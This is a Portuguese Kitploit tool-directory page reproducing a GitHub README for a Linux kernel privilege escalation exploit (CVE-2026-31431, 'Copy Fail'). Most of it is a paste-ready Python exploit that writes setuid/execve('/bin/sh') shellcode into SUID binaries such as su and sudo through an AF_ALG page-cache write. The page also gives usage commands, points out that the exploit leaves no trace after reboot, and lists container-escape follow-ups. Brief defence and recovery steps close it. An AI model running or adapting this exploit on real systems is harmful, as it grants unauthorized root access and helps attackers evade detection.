Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431-CopyFail-Universal-LPE — CVE-2026-31431 Falha de Cópia — Exploit LPE universal. Offset ELF dinâmico + sobrescrita completa do binário, compatível com Python 2/3 com fallback de splice via ctypes | Kitploit
Ferramentas/GitHubGitHub/shadowabi/cve-2026-31431-copyfail-universal-lpe
Escalada de PrivilégiosSegurança de ContêineresFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingDesenvolvimento de PayloadsExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubshadowabi/cve-2026-31431-copyfail-universal-lpe

CVE-2026-31431-CopyFail-Universal-LPE

CVE-2026-31431 Falha de Cópia — Exploit LPE universal. Offset ELF dinâmico + sobrescrita completa do binário, compatível com Python 2/3 com fallback de splice via ctypes

Ver Repositório
5713há 3 mesesRevisado pelo Kitploit

CVE-2026-31431 "Copy Fail" — Exploit LPE Universal

Escrita arbitrária de 4 bytes no page cache do kernel Linux → Escalação Local de Privilégios

Múltiplas abordagens de exploit: sobrescrita dinâmica do entry point ELF, substituição completa do binário, compatível com Python 3.x com fallback de splice via ctypes.

O que é isto?

CVE-2026-31431 é uma vulnerabilidade no subsistema criptográfico AF_ALG do kernel Linux. Ao abusar de splice() + descriptografia in-place authencesn, um utilizador sem privilégios pode escrever 4 bytes num offset arbitrário no page cache do kernel — o mesmo cache usado para toda a memória com suporte em ficheiros.

Isto significa:

  • Sem condições de corrida — single-threaded, determinístico
  • Sem privilégios especiais — funciona dentro de contentores Docker padrão (seccomp permite AF_ALG)
  • Sem dependência de versão do kernel — afeta todos os kernels de 2017 até ao presente
  • Modifica ficheiros apenas em memória — o disco não é tocado, o reboot apaga todos os vestígios

Abordagens de Exploit

Este repositório fornece três ferramentas que usam a mesma primitiva copy-fall do AF_ALG:

Entry point dinâmico — Analisa o cabeçalho ELF em tempo de execução para calcular o offset do ficheiro do entry point (p_offset + (e_entry - p_vaddr)), depois escreve um stub de shellcode pequeno. Sem offsets hardcoded — um único script funciona em qualquer binário SUID x86_64, independentemente da distribuição ou versão.

Substituição completa do binário — Sobrescreve o alvo a partir do offset 0 com um payload ELF completo pré-construído (comprimido com zlib e embutido no script). Pode visar binários não-SUID executados por processos privilegiados (cron jobs, serviços systemd, kube-proxy). Funciona com Python 2.

Verificador de vulnerabilidade — Testa se o sistema alvo tem AF_ALG, authencesn e algif_aead disponíveis antes de executar um exploit.

Início Rápido

Pré-requisitos

  • Kernel Linux (qualquer versão desde ~2017)
  • Python 3.x (para exploit.py; Python 2 suportado via poc_compatible.py)
  • Qualquer binário SUID-root (/usr/bin/su, /usr/bin/sudo, etc.)

Reprodução numa única linha

root@kitploit:~
# Criar um contentor de teste com um utilizador sem privilégios
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
    printf("uid=%d euid=%d\\n", getuid(), geteuid());
    printf("Not rooted - exploit entry point to get shell\\n");
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'

Depois, dentro do contentor como testuser:

root@kitploit:~
# Antes: setuid(0) falha porque o uid real não é 0
/usr/local/bin/verify
# uid=1000 euid=0
# (sai normalmente, sem root)

# Executar o exploit
python3 exploit.py /usr/local/bin/verify

# Depois: entry point sobrescrito, shellcode obtém root
# uid=0(root) gid=1000(testuser)

Numa única linha (sem necessidade de transferência de ficheiros)

Em cenários reais, muitas vezes só tens uma shell crua — sem scp, sem curl, sem wget. Este método usa cat heredoc para escrever o exploit diretamente no terminal:

root@kitploit:~
# Opção 1: executar o script de shell
sh exploit-one-liner.sh /usr/local/bin/verify

# Opção 2: colar diretamente no terminal (copiar o bloco inteiro)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
 _l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
 def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
  ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
  if r==-1:raise OSError(ctypes.get_errno(),'splice')
  return r
 os.splice=_s
def d(x):
 if isinstance(x,str):x=x.encode('ascii')
 return binascii.unhexlify(x)
def w(t,o,p):
 s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
 s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
 u,_=s.accept();z=d('00')
 u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
 r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
 try:u.recv(8+o)
 except:0
 [os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
 for i in range(n):
  f.seek(p+i*sz);ph=f.read(sz)
  if struct.unpack_from('<I',ph,0)[0]!=1: continue
  pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
  if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
 w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
 print("  wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
 f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

python3 /tmp/exploit.py /usr/local/bin/verify

Porque é que isto importa: Ambientes de contentores muitas vezes não têm ferramentas de transferência de ficheiros (scp, curl, wget). O método heredoc requer apenas cat e python3 — disponíveis em todo o lado.

Visar Outros Binários SUID

Podes substituir /usr/local/bin/verify por qualquer binário SUID-root:

root@kitploit:~
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh

⚠️ Aviso: Visar binários SUID do sistema (como /usr/bin/su) afeta todos os utilizadores do sistema. O binário fica inutilizável até o page cache ser limpo. Na máquina anfitriã, qualquer utilizador que execute su obteria uma shell root.

Num sistema partilhado/em produção, isto é imediatamente percetível — su vai crashar ou gerar shells inesperadas para todos. Usa verify.c para testes seguros.

Recuperação

O exploit apenas modifica o page cache (memória), não o disco. Opções de recuperação:

root@kitploit:~
# No anfitrião (após testes no contentor):
echo 3 | sudo tee /proc/sys/vm/drop_caches

# Verificar recuperação:
xxd -l 8 /usr/bin/su
# Deve mostrar: 7f45 4c46 (.ELF)

Nota: Dentro de um contentor padrão (não privilegiado), echo 3 > /proc/sys/vm/drop_caches falha com Read-only file system — isto requer acesso ao anfitrião ou destruição do contentor.

Superfície de Ataque

Como Funciona

A Vulnerabilidade

O algoritmo AEAD authencesn do kernel tem um bug no seu caminho de descriptografia in-place:

  1. O utilizador cria um socket AF_ALG com authencesn(hmac(sha256), cbc(aes))
  2. O utilizador chama splice() para alimentar dados do ficheiro no socket criptográfico — isto mapeia páginas do page cache diretamente no scatterlist do kernel
  3. Durante a descriptografia, authencesn escreve 4 bytes de seqno_lo após a tag de autenticação
  4. Ao controlar o comprimento dos dados associados e o layout do IV, o atacante controla onde esses 4 bytes aterram

Resultado: escrita arbitrária de 4 bytes em qualquer ficheiro no page cache.

O Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  Binário ELF (/usr/bin/su)                           │
│                                                     │
│  0x0000: ┌──────────┐                               │
│          │ ELF Header │  e_entry = 0x4013f0         │
│          │           │  ← analisado dinamicamente   │
│          └──────────┘                               │
│  ...                                                │
│  0x3f20: ┌──────────┐  ← offset do ficheiro calculado│
│          │ código original │                         │
│          │           │  ─── copy fall escreve ───→  │
│          │ SHELLCODE │  setuid(0) + execve("/bin/sh")│
│          └──────────┘                               │
│  ...                                                │
└─────────────────────────────────────────────────────┘

Quando o kernel carrega o binário SUID, define euid=0 e depois salta para o entry point.
O entry point agora é o nosso shellcode → setuid(0) é bem-sucedido → shell root.

Shellcode

root@kitploit:~
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; terminador nulo
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; nome do ficheiro
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)

36 bytes, 9 escritas copy-fall (4 bytes cada).

Porque é que Isto Importa

Segurança de Contentores

Contentores Docker padrão não estão protegidos contra isto:

ProteçãoEstado
Seccomp✅ AF_ALG permitido por padrão
Namespaces de utilizador❌ Não usados no Docker padrão
AppArmor/SELinux❌ Não restringe AF_ALG
Remoção de capabilities❌ Não são necessárias caps especiais

A única coisa que impede o escape de contentor é o isolamento do page cache por mount do overlayfs. Mas uma vez que tenhas root dentro do contentor, técnicas padrão de escape aplicam-se (cgroup release_agent, docker.sock, tokens serviceaccount do K8s, metadata da cloud).

Dificuldade de Deteção

  • O disco nunca é modificado — as escritas no page cache são apenas em memória
  • Nenhum ficheiro novo é criado — o exploit é um único script Python
  • Nenhum módulo do kernel é carregado — puro abuso de syscalls
  • O reboot apaga toda a evidência — o page cache é volátil

Sistemas Afetados

Todos os kernels Linux desde a conversão in-place do algif_aead (integrada ~2017), incluindo:

  • Ubuntu 18.04 / 20.04 / 22.04 / 24.04
  • Debian 10 / 11 / 12
  • RHEL 8 / 9
  • CentOS Stream
  • Amazon Linux 2 / 2023
  • Contentores Docker (perfil seccomp padrão)
  • Pods Kubernetes (configurações padrão)
  • WSL2 (confirmado)

Estrutura de Ficheiros

root@kitploit:~
.
├── exploit.py              # Sobrescrita dinâmica do entry point ELF (Python 3.x)
├── exploit-one-liner.sh    # Versão pronta para colar (sem transferência de ficheiros)
├── poc_compatible.py       # Sobrescrita completa do binário ELF a partir do offset 0 (Python 2/3, por h4ppy7ree)
├── poc_ctypes.py           # splice via ctypes para Python 3.0-3.9 (por h4ppy7ree)
├── check_cve.sh            # Verificador de vulnerabilidade (por h4ppy7ree)
├── verify/
│   └── verify.c            # Programa de verificação SUID para testes
└── README.md               # Este ficheiro

Defesa

  • Aplicar patch do kernel — correção upstream disponível
  • Seccomp: Bloquear o domínio AF_ALG (socket(AF_ALG, ...) → errno)
  • AppArmor: Negar criação de sockets af_alg
  • Endurecimento do kernel: CONFIG_CRYPTO_USER_API_AEAD=n
  • Monitorização: Auditar syscalls socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)

Créditos

  • Descoberta da vulnerabilidade: Taeyang Lee (Theori) / theori-io/copy-fail-CVE-2026-31431
  • Cálculo dinâmico de offsets & exploit universal: Este trabalho
  • Abordagem de substituição completa do binário & verificador de vulnerabilidade: h4ppy7ree (PR #1)

Aviso Legal

Este exploit é fornecido apenas para investigação de segurança autorizada e fins educacionais. O acesso não autorizado a sistemas informáticos é ilegal. Os autores não assumem qualquer responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por este programa.

Licença

MIT

Baixar ferramenta
Entry Point DinâmicoSubstituição Completa do BinárioVerificador de Vulnerabilidade
Ficheiroexploit.pypoc_compatible.pycheck_cve.sh
EstratégiaSobrescreve o entry point ELF com shellcodeSubstitui o binário inteiro a partir do offset 0Testa se o alvo é vulnerável
AlvoQualquer binário SUID x86_64Qualquer binário (SUID ou não)N/A
Python3.x (todas as versões)2 / 3Bash
Payload36 bytes de shellcodeELF completo comprimido com zlibN/A
AutorEste trabalhoh4ppy7reeh4ppy7ree
MétodoOndeComando
Limpar page cacheAnfitrião (root)echo 3 > /proc/sys/vm/drop_caches
RebootEm qualquer lugarreboot — o page cache é volátil
Contentor destruídoEm qualquer lugardocker rm — o page cache é libertado com o contentor
VetorFunciona?Detalhes
LPE (utilizador local → root)✅ SimSobrescreve o entry point do binário SUID
Escape de contentor (padrão)❌ NãoIsolamento do page cache por mount overlayfs
Escape de contentor (escrita no anfitrião)✅ SimEscrita via /proc/PID/root/ a partir do anfitrião
Entre contentores (escrita no anfitrião)✅ SimMesmo inode → page cache partilhado da camada inferior